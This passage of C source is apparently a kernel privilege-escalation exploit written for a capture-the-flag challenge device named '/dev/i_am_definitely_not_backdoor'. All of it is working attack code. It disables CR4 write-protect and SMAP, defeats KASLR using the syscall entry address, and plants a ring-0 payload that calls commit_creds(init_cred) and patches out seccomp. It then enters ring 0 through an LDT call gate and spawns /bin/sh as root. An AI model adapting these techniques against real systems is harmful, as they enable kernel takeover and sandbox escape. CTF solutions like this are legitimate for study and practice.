  uint64_t cr4 = 0;
  __asm__ __volatile__("mov %0, cr4" : "=r"(cr4));
  cr4 &= ~(1 << CR4_BIT_SMAP);
  __asm__ __volatile__("mov cr4, %0" : : "r"(cr4));
}

static inline void switch_page_table() {
  uint64_t cr3 = 0;
  __asm__ __volatile__("mov %0, cr3" : "=r"(cr3));
  cr3 ^= 1 << CR3_BIT_PT;
  __asm__ __volatile__("mov cr3, %0" : : "r"(cr3));
}

static inline size_t get_current() {
  size_t current = -1;
  __asm__ __volatile__("mov %0, gs:[%1]" : "=r"(current) : "i"(CURRENT_OFFSET));
  return current;
}

static inline void disable_seccomp(size_t offset) {
  /* size_t current = get_current(); */
  /* unsigned long *syscall_work = (unsigned long *)(current + SYSCALL_WORK_OFFSET); */
  /* *syscall_work &= ~(1 << SYSCALL_WORK_BIT_SECCOMP); */
  /* int *seccomp_mode = (int *)(current + SECCOMP_MODE_OFFSET); */
  /* *seccomp_mode = SECCOMP_MODE_DISABLED; */
  int16_t *call__secure_computing = (int16_t *)(NOKASLR_JNZ_CALL__SECURE_COMPUTING + offset);
  *call__secure_computing = 0x9090;
}

static inline void escalate_privileges(size_t offset) {
  size_t init_cred = NOKASLR_INIT_CRED + offset;
  int (*commit_creds)(size_t) = (void *)NOKASLR_COMMIT_CREDS + offset;
  commit_creds(init_cred);
}

void ring0_stage2(size_t offset) __attribute__((section(".rodata")));
void ring0_stage2_end() __attribute__((section(".rodata")));
void ring0_stage2(size_t offset) {
  swapgs();
  switch_page_table();
  escalate_privileges(offset);
  disable_seccomp(offset);
  swapgs();
  switch_page_table();
}
void ring0_stage2_end() {}

void ring0() __attribute__((aligned(0x1000)));
void ring0() {
  cli();
  disable_wp();
  disable_smap();

  size_t entry_SYSCALL_64 = rdmsr(MSR_LSTAR_ADDR);
  size_t offset = entry_SYSCALL_64 - NOKASLR_ENTRY_SYSCALL_64;
  void (*ring0_stage2_trampoline)(size_t) = (void *)NOKASLR_ENTRY_TRAMPOLINE +
                                            RING0_STAGE2_TRAMPOLINE_OFFSET +
                                            offset;
  char *dst = (char *)ring0_stage2_trampoline;

  for (char *cur = (char *)&ring0_stage2; cur < (char *)&ring0_stage2_end;)
    *dst++ = *cur++;

  ring0_stage2_trampoline(offset);
  sti();
  __asm__ __volatile__("add rsp, 8\n"
                       "retfq\n");
}

int main() {
  int fd = syscall(SYS_open, "/dev/i_am_definitely_not_backdoor", O_RDWR);

  struct user_desc desc = {0};
  desc.entry_number = 0xc;
  desc.base_addr = __KERNEL_CS;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));
  desc.base_addr = 0;
  desc.entry_number = LDT_ENTRIES - 1;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));

  syscall(SYS_write, fd, (void *)0xdeadbeef, 0xdeadbeef);

  far_ptr_t call_gate = {.offset = 0xdeadbeef,
                         .selector = TARGET_ENTRY_SELECTOR};
  __asm__ __volatile__("call fword ptr %0" : : "m"(call_gate));

  syscall(SYS_dup2, 0, 1);
  syscall(SYS_dup2, 0, 2);
  
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  syscall(SYS_execve, argv[0], argv, envp);
}